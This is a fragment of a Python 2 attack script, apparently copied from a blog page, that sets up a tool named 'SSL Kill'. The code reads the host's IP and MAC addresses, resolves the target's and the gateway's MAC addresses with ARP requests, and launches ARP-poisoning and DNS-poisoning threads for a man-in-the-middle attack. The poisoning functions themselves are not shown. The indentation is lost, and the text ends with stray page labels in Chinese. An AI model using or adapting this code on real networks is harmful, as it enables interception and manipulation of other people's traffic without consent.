def __init__(self, interface, target, gateway):
print banner
print
self.interface = interface
print "[+] Interface: {}".format(self.interface)
def nic_ip(interface):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915,
struct.pack('256s', interface[:15])
)[20:24])
except IOError:
print "[!] Select a valid network interface, exiting ..."
exit(0)
def nic_mac(interface):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', interface[:15]))
return ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
self.hostIP = nic_ip(self.interface)
print "[+] This host IP Address: {}".format(self.hostIP)
self.hostMAC = nic_mac(self.interface)
print "[+] This host MAC Address: {}".format(self.hostMAC)
def resolve_mac(ip):
try:
conf.verb = 0
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst=ip), timeout=2)
for snd, rcv in ans:
return str(rcv[Ether].src)
except socket.gaierror:
print "[!] Select a valid IP Address as target/gateway, exiting ..."
exit(0)
self.targetIP = target
print "[+] Target IP Address: {}".format(self.targetIP)
self.targetMAC = resolve_mac(self.targetIP)
print "[+] Target MAC Address: {}".format(self.targetMAC)
self.gatewayIP = gateway
print "[+] Gateway IP Address: {}".format(self.gatewayIP)
self.gatewayMAC = resolve_mac(self.gatewayIP)
print "[+] Gateway MAC Address: {}".format(self.gatewayMAC)
#if not self.targetMAC or not self.gatewayMAC:
# print "[!] Failed to resolve MAC Address, check if IP Address is online, exiting ..."
#exit(0)
animation = "|/-\\"
for i in range(15):
time.sleep(0.1)
sys.stdout.write("\r" + "[" + animation[i % len(animation)] + "]" + " Loading SSL Kill ...")
sys.stdout.flush()
self.ArpPoisoner()
sys.stdout.write("\n[+] ARP Poisoner thread loaded")
self.DnsPoisoner()
print "\n[+] DNS Poisoner thread loaded"
if debug:
print "\n[+]Debugger is on!"
else:
print "\n[-]Debugger is off!"
评论列表
文章目录